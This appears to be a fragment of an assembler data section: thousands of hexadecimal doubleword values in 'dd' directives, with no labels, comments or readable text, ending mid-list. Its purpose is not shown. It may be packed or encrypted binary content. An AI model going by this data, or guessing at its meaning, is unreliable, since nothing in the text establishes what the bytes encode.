dd 0D9019BB4h, 0D478A5Fh, 57D4E896h, 0BA190568h, 0C0700179h dd 4DD06790h, 924F7101h, 0E427F8B8h, 0E499C360h, 852B12ADh dd 2D00AF94h, 671B568Ah, 0B8DD0088h, 0E45FFB37h, 0B500FF7Ah dd 1998105h, 8B50FEh dd 577DF3FDh, 5972EE55h, 952BA900h, 16D57376h, 0F0F0F697h dd 19290049h, 12F74B18h, 0C1C08F4Fh, 6AB748EDh, 61A67763h dd 62BAE178h, 5CA0D8B3h, 6EAA7300h, 6C0C7226h, 0D3BF00C3h dd 5F859ABEh, 1528CEE9h, 723AD0DBh, 0F307958Fh, 0B0D239ECh dd 0F01B5177h, 0D59800CDh, 0A392DCE0h, 9000ECDBh, 7183CB46h dd 95AD57h, 0D3AB1B26h, 5BA79456h, 0F3D04F54h, 4AE067FAh dd 0D461F104h, 4BC750D0h, 0C8474F41h, 90820h, 0B1E8DF5Ch dd 835E5242h, 3196FD00h, 3276430Ch, 68C6180Bh, 7B12916Eh dd 99C7A407h, 5DB33079h, 0DC4DCA7Ch, 10800734h, 0C800AF0Fh dd 1C57742Ch, 563EF17Fh, 0E1EFB66Bh, 21401D88h, 59A8D8B1h dd 5A00311Eh, 700F16FDh, 1BCC486h, 94456829h, 0FFBFB112h dd 0D900208Bh, 3F9E888Ah, 513D03h, 0E21335AAh, 96182F36h dd 0B614A406h, 71789Ah, 0B4BDDBF2h, 8A5B56DFh, 2D432A00h dd 7B016A86h, 0FF2E007Ah, 987DDE27h, 0F81C53BDh, 0D5A8C054h dd 0D37D247Ch, 5507C67Ch, 0CE025283h, 20094Bh, 0F88BED01h dd 33D07F0Fh, 6608C7F0h, 0DA362103h, 0E07ECCEDh, 0EFE144h dd 7242C518h, 95C13FFEh, 16A29E03h, 0CC60F8h, 59877718h dd 8CACD973h, 4886DB37h, 0BCC0A385h, 3868F82Ch, 70317835h dd 80ACA808h, 175BC020h, 3B6CCCE4h, 41F76DCh, 1B883061h dd 223CA431h, 0F50070C2h, 0E2882B40h, 329ED7D5h, 592953C5h dd 6F117097h, 78E03080h, 0A61ED974h, 378E817h, 67E5E9D0h dd 986005ACh, 15BFB04h, 8405EAA8h, 0B1881CAh, 308A1187h dd 0E7EEF082h, 90A0C3C4h, 5C6FFECh, 0E436B804h, 4D800B84h dd 251B543h, 7C404D0Dh, 87C0687Dh, 0F2478C6h, 0A207430Ah dd 8AD00599h, 0F081EB9Ah, 86030334h, 20CA959Fh, 0E0043147h dd 7CF8C4F9h, 0E7965CC5h, 0B0807700h, 48267B08h, 490BFE00h dd 64F9CC53h, 23731E3Fh, 29A79896h, 0F887AB4h, 40608858h dd 89BBA488h, 202508D0h, 8C505662h, 0BE445128h, 873184DCh dd 42282963h, 11B90911h, 81119578h, 13141270h, 2780DD9h dd 67521064h, 80415088h, 9D001E9Eh, 2CD7EBDDh, 677C4Dh dd 0F5CCBCE2h, 0DC0928B9h, 26254400h, 0FDEE565Eh, 0B7631E12h dd 45B1C3CEh, 0D890AF5Dh, 0E2395517h, 7D5B00E7h, 81390B08h dd 0CFFF001Ah, 0C9F11E64h, 0A3F87052h, 6001CF6h, 2751E53Ch dd 3A9FCBDAh, 0B4000F25h, 0FFBCCF95h, 2E03DC01h, 290E1AAAh dd 0B83CDBC7h, 3D9A2Bh, 62DE4268h, 6DEF4EB6h, 4A76C100h dd 6AB934FCh, 1B9F0003h, 6115F296h, 0EFA4D78h, 0DA974C01h dd 16DDA262h, 58AE7E80h, 0BA5E2317h, 0F2ECE017h, 3B28E607h dd 6A80ECh, 25682D93h, 0DCCBFB7Dh, 4A9E8F07h, 0AC802859h dd 0CE49Bh, 0F1E188EEh, 0C037F9D6h, 4EF07017h, 0C79CAB0Eh dd 0F2A0D384h, 583DFCh, 268B7235h, 623BE2B7h, 8EC711C0h dd 27B5127h, 86B17D04h, 4C41210Fh, 0C11BDC47h, 14E11900h dd 1F06BD83h, 17693CF2h, 0FBAC8480h, 0B27D0FAFh, 0A2ACB38h dd 0D060F30Bh, 586E9B80h, 3A979C9Dh, 5903685Bh, 0A70618AEh dd 6CA81100h, 0DEFB432Bh, 3F8D1238h, 8AAF0094h, 0FF999DBEh dd 47249612h, 0C89A9400h, 69468Eh, 7DCC2C10h, 66271E6Eh dd 71F1B602h, 0C07FF8FAh, 1E2A544h, 58A0C949h, 0F0568393h dd 3B0063F9h, 685AD464h, 11DBCDh, 825D1C3Dh, 48C97C53h dd 40AC5C00h, 0F0D2DF35h, 74B4F8FCh, 2DA000D1h, 0CCA1F30Ah dd 197660C3h, 0F6022F38h, 0EC699800h, 0BF11B720h, 0D81B601Fh dd 8F576BA3h, 0E8B07C51h, 81FD8EAh, 6A1DE696h, 5470E700h dd 1D48B6FEh, 1DCFB152h, 0EF40C039h, 0FDF4B7CDh, 9CB4443Ch dd 803E2880h, 4B108712h, 38C599C8h, 0E7CC37EEh, 35C4B300h dd 9176675Bh, 0E2830EDh, 0E39B1C00h, 330ACD29h, 0D13E00D9h dd 8DF31B82h, 0DA0350DFh, 9A902C42h, 60F0C85Bh, 483500D6h dd 4D9905CCh, 6F0E7806h, 40E15302h, 45FFE228h, 87650074h dd 68C898B9h, 0AAC09376h, 0AA192D0Ah, 0E52001Eh, 6F23536Eh dd 51007AA8h, 8AE1FA9Bh, 692FDFh, 315B02A6h, 8BA2226Eh dd 0F7601400h, 1EF58063h, 2AC900F4h, 4E3D08C5h, 0D2003BDCh dd 914C43E6h, 14A7F7Ch, 0E159DEEDh, 0F4D46306h, 60710952h dd 3C8CAC48h, 7F1280C6h, 1C37CCFFh, 0E1870054h, 0A4C94761h dd 920044DAh, 0EC3585FBh, 0E87DB6h, 4BBCEA6h, 3EDC4AF5h dd 18DF9404h, 0FC80B358h, 0A3A993h, 0A05C8B63h, 7764E756h dd 0C1BD900h, 100562BCh, 3A1E0078h, 0B17F8B74h, 0E89A864Bh dd 91B0D706h, 40AFCBh, 0C6D6A556h, 0CDBFCEB3h, 39E8EC1Dh dd 3EAA04F8h, 2E8027F8h, 0C3E540h, 47DDCEBh, 7B5B7898h dd 0C726CAF6h, 0F9000892h, 3F20B11Fh, 0F264F407h, 0A50B00E3h dd 826F8899h, 0BF00402Eh, 6BAAA778h, 0C0D86AD6h, 6C2FF019h dd 9760F91Ah, 169AF2F6h, 24B8003Dh, 0A849CB5Eh, 0DE1C5B2Fh dd 0F380F57Fh, 0D81687F6h, 0B782A069h, 915F004Fh, 83EE20DDh dd 0BCE018DEh, 0E400C07Dh, 738DB26Fh, 0B88F06h, 0BAEC7AEFh dd 661B3BF4h, 0BF08100Ah, 20038C1Dh, 91CF3D26h, 0CEC00CF5h dd 6F9C3F84h, 14582380h, 8824DD59h, 0C537800h, 1F7273BBh dd 9403008Ah, 0C9D95A6Eh, 6500CFA7h, 82C0B044h, 0BF0A41h dd 1E4E945Bh, 37610945h, 5A445F00h, 96C5859Eh, 0E19CA0F7h dd 0DB450026h, 0C1C04A5Bh, 24008A06h, 29511C7h, 0F0F6862h dd 9B2304A6h, 7FC030B3h, 5800E7AFh, 2A85C589h, 0FE3EA473h dd 71BD3B03h, 2C2F3A80h, 3F96C353h, 0BBC04001h, 0B927AD5Fh dd 487EE860h, 0FF8164BDh, 0DCD04202h, 6E12D7FDh, 8C0E1A19h dd 5F2D609Eh, 0D6EFDEh, 6BCD3166h, 2C6FD242h, 43212402h dd 0E0E14AB0h, 7ABBE3Ah, 85CD2D7Bh, 0E37383E9h, 747FCEC9h dd 0F5078C48h, 3AA0B956h, 4005AF82h, 14AD98h, 0FBEC2D5h dd 0E0F089B0h, 0E2EAEE00h, 0EE3A251h, 0E00C4CDFh, 0B1A1DB00h dd 7F7EC315h, 0D2169B13h, 138F6400h, 0F2185B1Ch, 0FDC50075h dd 5657DDB1h, 4001CF7Eh, 0A9F16458h, 97C8689Eh, 809A0E6Ch dd 214ED18Dh, 70FAF420h, 0D90E7FD3h, 0A032BC6Bh, 6495C4ADh dd 0EE69F21Dh, 2CF30021h, 4C26177Ah, 97001A73h, 0F94206BBh dd 7C085Fh, 47222A3Ch, 0A9E72904h, 1844FE00h, 0AAA6AB90h dd 3720E7D5h, 891B3C3Dh, 5735EB07h, 822D30D7h, 5E09CDC6h dd 1189154h, 88B3AA48h, 26AB48C8h, 1624C0A7h, 4230008Eh dd 7DB75DFEh, 1EEB3400h, 0E2C26940h, 0BA2070ABh, 0F4E601DCh dd 0D19BAA56h, 5F6EE064h, 19A43A09h, 0E9200086h, 24EDF8h dd 997D7748h, 0B0A59BEAh, 2875672Ch, 0A6FD1500h, 0C0638h dd 257F8689h, 0FA44F7A3h, 24D758h, 2BD1BB4h, 2957113h dd 47FF4DA2h, 2C60535Ah, 0D60764DCh, 77366CFEh, 2FDE4020h dd 0B86160AFh, 4A5AFB72h, 0B0148E30h, 89383Eh, 0E3232759h dd 8C7A268Dh, 731C9E07h, 24D2D335h, 0D0A58063h, 3EDBA83h dd 0B4E4C9Dh, 0AB98FE85h, 0F6009843h, 0E46F2C65h, 34BCAAh dd 27C0A56Ah, 0E85106D1h, 0FD00BF75h, 0F73A2EF3h, 38FEEFAh dd 43D9941Ah, 0FBD0AE10h, 0D61DB154h, 72C179FFh, 0B9351A3Dh dd 755F01FCh, 0CF882E9Fh, 9E8E0012h, 765DC230h, 23629718h dd 0C8D840h, 0C8141AAh, 45AB53BDh, 68518C05h, 0CC00C311h dd 641A988Eh, 8A4F00ACh, 51BF5CB4h, 73009D03h, 55D05E0Dh dd 12ABC2h, 6E0CDC16h dd 0C7B656E1h, 1A854B00h, 0EEF781CFh, 61D3007Fh, 3366A8D4h dd 0E5007446h, 8EC53807h, 3407301h, 3CC4A47Eh, 8CB83587h dd 94003027h, 6833FC3Dh, 3B46A8Ah, 0D13F6D16h, 0CED0F163h dd 0F8E6C332h, 10A7B000h, 96A38DBDh, 6DC9009Fh, 7854745Fh dd 7C606705h, 56E43A30h, 6DF8A08Fh, 0C0B48D0h, 0E5F5C901h dd 3004C557h, 7F00FB5Ah, 3E8E0231h, 13EF8672h, 194F80h dd 0F587FA80h, 46485F89h, 97F30004h, 9FF216D7h, 0F978BF50h dd 0BFC53900h, 0BF4520Eh, 0C45905CDh, 0C0F7E4DAh, 3BA7AAE0h dd 581D8D4Bh, 0B0419A1Bh, 1FFB0A53h, 0E6FC490Bh, 2987076Ch dd 6820DB5Bh, 44CA161Ah, 0F78F0A02h, 401EBAD0h, 142214BCh dd 0FC21CB41h, 8871FC00h, 1F016BA0h, 2D006C72h, 804428E1h dd 0E071027h, 9E132678h, 606298A7h, 4FBCDADh, 0AC386A1Ch dd 196D8645h, 42900480h, 1CE75C0Ah, 8045CF87h, 0A316A7C1h dd 5D0087E2h, 0D1D0EBA8h, 96F6FBh, 7E8CBC5Ch, 6F74CF82h dd 0F0DF3400h, 6B8FCCAFh, 0EC9100A7h, 0FA583F8Dh, 4800331Fh dd 997CF5BBh, 0F78030h, 714D28A0h, 5A91ED26h, 0A902A00h dd 0B87AE4F2h, 0DFCC00FAh, 0BF7EE241h, 287AEF61h, 0D9305400h dd 0B6EA39DCh, 1849003Ch, 61D64F63h, 521E8D03h, 2FC04C22h dd 6E590571h, 919A01A6h, 135D79B0h, 0F06E0D2h, 51887600h dd 81E7D9D1h, 9E2F007Fh, 3ADC17E3h, 0DF0CC6B2h, 0F8A6891Eh dd 51D2005Bh, 151FF2AEh, 2B1CF09Ch, 13C0C511h, 0BDA4D7F5h dd 6D7700E4h, 0D6D54D42h, 0A9003A7Fh, 5CFC9E55h, 2462283Ch dd 30EBFAh, 8046C4B8h, 0E30031C8h, 579566CAh, 0CC763Bh dd 962010F0h, 5603B004h, 0A56F5B01h, 0A132859Bh, 21E5A740h dd 7D9000CFh, 0D8EA4C98h, 0C5001681h, 4A412418h, 13620Dh dd 0B873FC2Dh, 7B8FD6FBh, 75C96000h, 0D38688FAh, 0B4E456h dd 9D71705Bh, 0C8BF97E4h, 66994000h, 0AC06A10Bh, 0E2D90049h dd 8D988488h, 9A06A503h, 0BB454A44h, 0FB741DF0h, 4CAD003Ch dd 65648C52h, 714E4D00h, 5756DB16h, 219E60F5h, 6C8BE734h dd 23A54207h, 0BE303212h, 107D9D6h, 0CF7BD81Bh, 0F42540A0h dd 0BC0396E9h, 0C3B80839h, 4416815Ah, 5BC5C0h, 0A349620Ch dd 77069856h, 6E10CB00h, 0D0E1F914h, 471B0760h, 1076BACCh dd 0E9C5645Eh, 930BC0Eh, 0CB6A874Ah, 0D22EC0D0h, 47CF4C5Bh dd 0DA0EC900h, 0CCD04051h, 0B9F6AB00h, 0D8BD14D5h, 0AFCCAh dd 7BD97905h, 0F9061A21h, 0FE561B00h, 989B9381h, 91250322h dd 55C6F5F6h, 74D7F0EFh, 0E3E4335Eh, 64789400h, 2FE12A5Bh dd 570F3A0Eh, 0E9396C0Fh, 0E8A276C0h, 0FD1E101Eh, 9AC00D62h dd 0AADEA916h, 3F2E834h, 0FCA52127h, 0ACF0B68Ah, 9600812Bh dd 0E136E3EDh, 0B14C40h, 0C70393EBh, 5C1F6ADAh, 0CDB6BD00h dd 2EDCAD14h, 0F6100017h, 0F858355Bh, 1D1DD9E5h, 49C3165Ah dd 0DAA9D529h, 2E50C06Ch, 28FD0075h, 0F75109DEh, 9F004008h dd 4E88732Dh, 78453884h, 0E7F10150h, 0C62952ECh, 0CF22C8ADh dd 57005B71h, 679CA2C1h, 3BE19B5Fh, 320021DEh, 644A96AEh dd 0FB7CC06Ah, 0AF16B901h, 0A07B7093h, 0B0AE2E20h, 5B911FAAh dd 8290C05Eh, 0F676B243h, 0C7589F72h, 69EA1D21h, 30DCC200h dd 1406F7ADh, 84E480B1h, 7645BC00h, 0B0AE7D24h, 2166CB00h dd 8718CCC4h, 26CF01D3h, 4E299658h, 0B42180AFh, 0DD9AB567h dd 0A8895C47h, 8B0AEF0Bh, 2DC1168Eh, 0D0CE3315h, 98742Ah dd 6C8F8C1Fh, 0E04183CFh, 4B0A190Fh, 0BAB100B8h, 0FFB5A791h dd 747A11F2h, 5DF65800h, 8E41B2D1h, 0E5C3A0A0h, 42F705E8h dd 0C0FA4988h, 3E4720ADh, 0EF8EF500h, 3D9E57A0h, 48F618A2h dd 0C360648Bh, 1254F48h, 0F04BE626h, 0F13BC2EFh, 0DD188E72h dd 379D14A3h, 9DC01069h, 8A24E0h, 2C6BDFE4h, 464DEC0Eh dd 0D5C7B800h, 0B685AE29h, 7DD400C1h, 958D0C7Fh, 0C43D71C8h dd 319A0E3Fh, 9743E06Ch, 0A679BEh, 0D075C98h, 0D32D3061h dd 0C1A7FE00h, 0EFCE3845h, 92F6248Eh, 9D900A5h, 0FFEB2666h dd 0ACC53Bh, 0B8E6FBF2h, 92DA40h, 20DCBD76h, 0CAB9F4B0h dd 0C6F38300h, 8A09772Bh, 5140C0B1h, 1F2CFA7Ch, 0E7901D1Ch dd 35389198h, 0AB471880h, 3C81114Ch, 503AB906h, 48A623h dd 34C06071h, 9FEAA254h, 0F0E3676h, 465FC185h, 609CD9h dd 0AB25BBF5h, 1AB48292h, 8590E31Fh, 1626F400h, 1E64046h dd 685CB2ECh, 0F8552BC9h, 0E500ED0Bh, 0C3829B79h, 72DEA27h dd 54B21B4Fh, 0F18F402Ah, 0B2CA8DEh, 5B008078h, 15B41D67h dd 8E3238E5h, 0B5DEF000h, 0ED6C138Ch, 0F2879F00h, 9C3A4B2Ah dd 0AB930032h, 0FDDF2210h, 0B007508h, 74E2AE42h, 0C0299F9Eh dd 34234EFAh, 0F900B166h, 3CB59DACh, 0E90F0Ch, 0C8162853h dd 0CBC046FDh, 111D1200h, 0E35B3926h, 695E030Fh, 0EE84B0ABh dd 50EEFE79h, 0A41A4201h, 867958C7h, 0A09B4AC8h, 94BC590h dd 4F235A74h, 0E033F283h, 9583B9E0h, 0FF5811Eh, 4D623D41h dd 609EB8h, 7CDB0BBAh, 82006C76h, 0DD355714h, 1D8CDE01h dd 8D8BD9A5h, 78B89040h, 5BD13AC7h, 65018038h, 666D4DDFh dd 6045F13Dh, 0D878CEC0h, 91350909h, 2DC8015h, 1FDDAE43h dd 40EB07ADh, 7636BD9Bh, 44C0D1D7h, 5DD8C6A8h, 44330FF9h dd 0F62E46B3h, 21AA260h, 0AE012372h, 65A7BF81h, 0EC208A6Ch dd 894406D7h, 688B8499h, 70594C00h, 0E67EA35Eh, 10340167h dd 836D3A55h, 8D0070E8h, 0B81E1E78h, 0BECF4F2Bh, 371D77FBh dd 0B2E05C0h, 71ED04FAh, 0C9800009h, 0F185E48Dh, 39006530h dd 0A82A577Bh, 42F975h, 810CA574h, 0F6CB8079h, 3455CD12h dd 24F7703h, 6C2CD08Eh, 0E7373DECh, 708B3280h, 71BC9B20h dd 5C72AE00h, 3F2602DCh, 0CFBB14AAh, 0A1009C50h, 0E5326D8Ah dd 0CE009089h, 9AB888B4h, 39832Bh, 21D102DBh, 3C1A47Ch dd 0E82FCA00h, 1298F93Dh, 837F18h, 551732AEh, 0C20976D8h dd 43EB1C00h, 9342C702h, 6B530054h, 0AED02BA0h, 81017391h dd 34584B80h, 95D0773Ch, 7F390099h, 7CC3E65Ch, 81003FF7h dd 530986DFh, 8F9AF8h, 0F9594E43h, 35D23616h, 67B6AC0h dd 0DF9D5Eh, 0C2AC6047h, 0F169CAFAh, 17405C00h, 8D3E3273h dd 85340068h, 81EAEAFh, 501A6F8h, 170F3ABDh, 0E0700D37h dd 8B92017Fh, 5C2AD2C2h, 0EA0B2072h, 0BFACE001h, 52B854B6h dd 81ACCh, 0DFE95AD9h, 0B2A45D87h, 7ACF800h, 0D7476E39h dd 0E6D900F9h, 0F5DED2DDh, 0C1006F4Ah, 10092D7Ch, 203A94Dh dd 43BCF8B5h, 7C6BC7A5h, 802923A2h, 181B14CDh, 6DE80012h dd 0FB283EA3h, 0AD00E2D7h, 0B4F7E4B3h, 9181DA8h, 37FCFA5Ah dd 8A26780h, 2BFA0CBEh, 0CF08874Ch, 80405F59h, 0A39A74F9h dd 0A030E82Dh, 3C49D4C2h, 42804F01h, 930315AAh, 0A2E23508h dd 0F369E20Eh, 0A03FAF71h, 568FCD54h, 0E6FC1E63h, 87B8A4BCh dd 5F3EF096h, 616EC860h, 9E033A29h, 3FF66556h, 0A02EEFB2h dd 692F3EFDh, 6FAC0038h, 0C166339Dh, 5B30DCCBh, 498E1E0Fh dd 0B94A09C2h, 0B807B05Ah, 19A4417Fh, 0FAD8347Bh, 0E89EC200h dd 1F8BC3D4h, 974B0366h, 6D371129h, 1563E1F0h, 0EE0018E0h dd 740477B5h, 17A7D457h, 988512h, 1967636Ah, 5E01B306h dd 0B160A87h, 0C040CF9Eh, 3127F1h, 0C0E63F47h, 9174CEB6h dd 220250Bh, 0EA298052h, 3788ED8h, 5157E56Ch, 22F8F71Dh dd 0AE00474Dh, 41D6BBAFh dd 9915F6Bh, 936A3650h, 17445C81h, 94071084h, 0F353769h dd 0F6E770B9h, 4900B416h, 0A770D247h, 1C153069h, 0B9816Fh dd 4DE52775h, 720EFA51h, 5F92DC98h, 0D600BC64h, 0F186D723h dd 14A60045h, 0CAD3D239h, 311F2DC5h, 7C5257h, 0C9A41555h dd 7A1D188h, 20766C4Eh, 8586D19Fh, 0D402D41Ah, 0C49E9709h dd 785A80EBh, 0B866372Eh, 0C8773BF1h, 824C6000h, 0FA7DA91Ch dd 90FBCE05h, 74D114DCh, 0B030D4D7h, 487B001Ah, 9241AFF0h dd 353DF9F8h, 0C281DE24h, 0A44071FAh, 0C8EE1E9h, 0FBA654C6h dd 0AD0F44C8h, 0E0871C93h, 8949283Ch, 820404ACh, 0C02E67F8h dd 0DE19BF3Ch, 982A8824h, 26A2BCh, 9BCA56ACh, 0C36A1D1Ch dd 0D65E491Dh, 0D4804141h, 0BC70ACBEh, 83C548FDh, 1C5D0517h dd 6F2B85DCh, 0A102EF64h, 0E8D3BF94h, 87620h, 34538940h dd 0B9CFAE86h, 0C4D24A00h, 0DEED1054h, 3E8200FBh, 8F8E80E5h dd 0F6F09D7Eh, 8D46331Ch, 0B11487C2h, 0E3F08302h, 0F5C8BB88h dd 160DC800h, 0F2847EAh, 0C20EE804h, 11F0DB40h, 30C0DD85h dd 0E47A3B43h, 100165C0h, 0E0AF8013h, 0B6009A7Fh, 8AD559D9h dd 9D89DAh, 41D796B3h, 2E551412h, 0FA958700h, 0AB0D6DC7h dd 0BADE05B4h, 0D005D4A9h, 92D90694h, 61E4340Fh, 60D6E03Eh dd 3FE825EFh, 3C800D2Ah, 0C2B17B01h, 0A81EDDBFh, 80C02954h dd 3F3E1A02h, 2F18004Ch, 9D5DE3B7h, 65F8C2F6h, 80FFCC3Ch dd 35BCA004h, 3AAC3D7Fh, 0A596730Ah, 0F451006Eh, 0CA4DAFB1h dd 8AB72E02h, 610A8E9Eh, 0D3E867B8h, 62751D97h, 3180BBA4h dd 0C7543833h, 802EECFEh, 0D017388Ah, 4B52D300h, 1E9264Fh dd 7274C0DAh, 0F80EF680h, 0BF04613Dh, 0F9165AF5h, 0D4B9B8C0h dd 0F0080956h, 1CA0CE22h, 0AA11C879h, 405A6100h, 7C2716F5h dd 0E55ECC2h, 995CA1D7h, 0D8766B80h, 0F63887D0h, 0B14C805Fh dd 821C0B58h, 0F1970001h, 0A44F42Ch, 5B50575Ch, 9405DCECh dd 0B3F514FDh, 4223FE00h, 0EBF5245h, 0A38D033Fh, 34F39CA0h dd 750114A1h, 0CCC491E0h, 2EC45DEAh, 4E2D29Eh, 0D0D20FA8h dd 412FC414h, 1DB5F0Ch, 0B2C0A7h, 0F5C733B9h, 0EA88EFD7h dd 2E68F105h, 0D8C01F75h, 1F8643Eh, 29D3C0EDh, 0ECEBA84Dh dd 2300020Eh, 74241DD2h, 0B703FDh, 8D382105h, 81D8B3F6h dd 84780A02h, 0E05F0CECh, 0F310BFCh, 0B73D9B32h, 76276F2Eh dd 129FB0FFh, 8E00D441h, 0E850FEFh, 0D8D58Fh, 23FF091Ah dd 4FDCA001h, 0B62E7400h, 0E05CC294h, 93E1008Bh, 0B9374B8Ch dd 6909C197h, 20A1484Fh, 8747F6B8h, 0F7A4004Ah, 0E7149B77h dd 40FEA2Eh, 0E3361AB3h, 0C9934F5Dh, 6830F921h, 36544818h dd 0F0927300h, 0BDC4B936h, 0A6FAF700h, 128620DAh, 1255E019h dd 21BFB4h, 0F46D7625h, 0C404611Eh, 0C00CE213h, 0C67B0C91h dd 154C64h, 5878AB68h, 0BD5C1EC4h, 0EE7C900h, 0DCA5CB01h dd 9B920086h, 4053FCA1h, 0A3241E88h, 0F500D410h, 47835CD1h dd 0F7F60090h, 41C223Bh, 44B003F2h, 0F0DE6600h, 4C0D5AC2h dd 1D655844h, 25B3BC00h, 870A6D8Dh, 5E5B600h, 0E2737916h dd 0DCC10017h, 0C77D5E24h, 81006BBBh, 0B5B68429h, 0EB56E7h dd 82DD3E70h, 0DF9459A8h, 9DBCB33Ah, 0F0641825h, 0C4FED300h dd 1E4D6607h, 0C0CB85BFh, 51C3AEADh, 7C003356h, 159DE9Ch dd 0FD3DBE5h, 0B6781431h, 0D9B9E780h, 0EE05748Dh, 0D4566D75h dd 0F3F613C1h, 0B3D81980h, 7ADC705Ah, 4B8B200h, 0FF9226C8h dd 0DFCC28F9h, 19D100ECh, 0A554777Ch, 55004FE1h, 9F89AF5Dh dd 78178F4h, 0B534C8E8h, 0ECFCA0B9h, 8400A131h, 0DB6B4924h dd 1F17835Dh, 80DAE39Eh, 589A1960h, 949044E5h, 3CA093Fh dd 9DF082BDh, 5E7100DDh, 0E21E44E1h, 0C23F8D2Dh, 8F54FB71h dd 0EA81E810h, 0D1DA1C01h, 8A7FD0A0h, 489E0F24h, 0D765282h dd 753BE1D4h, 0B8806980h, 1E461535h, 6E1CBA7Ah, 5B007A7Ch dd 8932C71Ah, 587D1444h, 960050CDh, 688325C4h, 21CF2499h dd 0C8581429h, 901A66C9h, 7D1C9604h, 9C32058Ah, 75C1E600h dd 1DEAEAh, 5955FC12h, 0DC89A761h, 81E2C000h, 0E73FD1FBh dd 503300CEh, 42E98A60h, 3E00EF5Fh, 6E1703D5h, 0FA44B8h dd 0A576E29Ch, 81A00A01h, 0C1A65C06h, 6E692Dh, 0AC660904h dd 0BA314AABh, 0EE9D93A0h, 3E6E583Eh, 0C5420EE0h, 376BE046h dd 1966916h, 435883A8h, 0D4A105BEh, 571E9B40h, 7900C9C4h dd 709C280Bh, 0B2F939B6h, 1D14338Fh, 0D1182A8Ch, 90886250h dd 0D9080B67h, 0C508F51h, 8595C0h, 0D472FB47h, 5E759839h dd 27EE5C05h, 0A447E377h, 0C14167D9h, 11801076h, 1929929h dd 7D198483h, 31098ADDh, 0A1492180h, 0EB72592h, 83164000h dd 28CE9DADh, 8A950653h, 0A87855DEh, 0AA54731Fh, 6C9662C1h dd 78B2345Ah, 9730BF70h, 83271192h, 80388894h, 2A929F4Fh dd 4C033C3Fh, 285CAD6h, 2000C591h, 6BB8D2F6h, 0AC2C09E4h dd 0B58306B4h, 0C9F80ACBh, 0B7034F07h, 0DDD60CDEh, 1AA826D0h dd 72F40060h, 79753BF1h, 68B08D00h, 0B1BDE4B4h, 0CA5400A2h dd 397DE382h, 0EC1EFB09h, 8309E0BFh, 14A806Ah, 3645EF8h dd 72F7FE0Eh, 8FF1A0F5h, 0F6C8CB48h, 44721B38h, 0B58C5506h dd 281218h, 0DCDE2031h, 6CB83EF6h, 90B93Ch, 60C4616h, 60F31CDh dd 66ABF85Ch, 0C09F30F4h, 3B5BEEDh, 125DCC76h, 818BC7Fh dd 3820F81Dh, 21BE3B9Eh, 25561Dh, 4D16B381h, 456C5B72h dd 74FE49A8h, 0D5BE37E1h, 96178039h, 7F035C49h, 76F23298h dd 0F0083040h, 49AEB821h, 50A7102Ch, 0C7B78E07h, 5B8BA04Eh dd 3FEE0D13h, 60150E97h, 910084FDh, 78B2B4BBh, 0FC1911EAh dd 6B08D2B0h, 0C33C2180h, 508B3B4h, 4F7B6D0Ch, 3A324810h dd 84D00E80h, 0B6900658h, 18F85B86h, 6D801FFCh, 63050738h dd 7587184h, 907FF0E9h, 0DA3B89A6h, 0B3C100DFh, 9D6523E6h dd 7AF017ACh, 0F13600E5h, 89C07B06h, 0B1BBC400h, 0CE09451Ah dd 94BA01D9h, 0F027ADDh, 3739FC5Bh, 4D0D1200h, 89F5D6A2h dd 57D9003Bh, 160E8823h, 9600DC15h, 0BE442FD7h, 0E729AE8h dd 0F07442A5h, 1CF431C1h, 86B8CF6Ch, 800E49E4h, 8070C26Ah dd 1D8FEAB1h, 1CE7F6D7h, 59EE7A31h, 817708B9h, 0D6162421h dd 0A8DF67AEh, 0EF8E6F4h, 7A88EB18h, 0DFCF6C81h, 6759917Eh dd 0E7583898h, 222C2952h, 2B312E79h, 0F6C00CFh, 61864F91h dd 7A94180Ch, 3FA45080h, 893CD0F8h, 584C2999h, 875131A2h dd 95E5C641h, 71196F40h, 0C72F00D6h, 0A621DBEDh, 881BF414h dd 602098C1h, 0D26EF230h, 0E060DAA3h, 0C9614560h, 0CC0200E9h dd 0ED66057Bh, 0C8C0FB0Ah, 0C43283D2h, 0E8E4007Fh, 2EFEBE3Dh dd 0BF000E5Eh, 0A746495Bh, 421B63h, 0EE8C12F0h, 0D3FC9CC8h dd 34DABE00h, 5CCAECC1h, 383B5885h, 4B3A017Ah, 7E890447h dd 989DF035h, 0D70EA800h, 6DEC7041h, 11B465AFh, 83042FB3h dd 1C3487F5h, 8031C010h, 50CA4E27h, 0F800DD76h, 956A4B5Fh dd 7F14B6h, 37DF0768h, 5D422DF4h, 90075377h, 0DC6FE26Ah dd 20013400h, 93E90008h, 7C50771Ah, 31C5D26h, 0E68090F1h dd 19764889h, 158D1E69h, 86471DA1h, 120C99C9h, 20172F00h dd 0F88A24C6h, 738C00EFh, 99B0296Ah, 0E600C1B1h, 0A2F443ACh dd 1A45E2h, 2F881CE0h, 4BC9DEC6h, 9CD39D00h, 485FC38Eh dd 5B600A7h, 0E9195E43h, 1F1C09DBh, 7E81EB0Fh, 372AA5DEh dd 408087D1h dd 9678A982h, 5E0022FBh, 2A27B51h, 389D5CFDh, 0F900A44Eh dd 3C774BFEh, 9600C190h, 8AA5098h, 112FE16Ah, 1F497EF3h dd 8FC06B9Ah, 72D7405Fh, 833F0030h, 127CA90Ah, 0B805BDE9h dd 94018F64h, 8231C440h, 0FD672Ch, 0DAAF1A7Ch, 0F1F82360h dd 0EB22F707h, 4910CFh, 0EFC79E78h, 0AAFF1786h, 32E50071h dd 3B4A8BC6h, 220DAC0Eh, 10B1203Eh, 20A4D8h, 0D7BB4558h dd 2F9D2928h, 0D3FC1254h, 0E98C5B00h, 5AFFE08Dh, 7F3B008Ah dd 930109A7h, 99004707h, 2E83412Dh, 70FA33h, 5F8BDCF6h dd 25CE3186h, 8A0FA000h, 0F89107C2h, 3367129h, 0F96C6DC0h dd 62E89FE6h, 0BA1DE8A9h, 3B9DEE81h, 803F61E6h, 10D75B0Eh dd 5294F8h, 9F246F1Eh, 99C4EADFh, 0DED4FC07h, 0B6509A7Ch dd 0E8B3F80h, 0E2473DE3h, 45CDE500h, 39007F6Eh, 0C6B56007h dd 503B72Dh, 0BF10BA8Eh, 0E9B400A5h, 0F1144095h, 0B0070F8h dd 0C9D2E043h, 634FA708h, 0D9FB61Ah, 24ACD8F9h, 64A881B0h dd 102F2F70h, 9261C071h, 1D200FFCh, 1A470C59h, 32E14033h dd 0DC984067h, 16C0BC00h, 0EEB0FF9Bh, 236A005Dh, 0FD7632B3h dd 5B006715h, 0B59659CAh, 19572DBh, 0AC8B47C2h, 0D0E4FA62h dd 20C3286h, 0B0A53080h, 726C0011h, 0E87FABC2h, 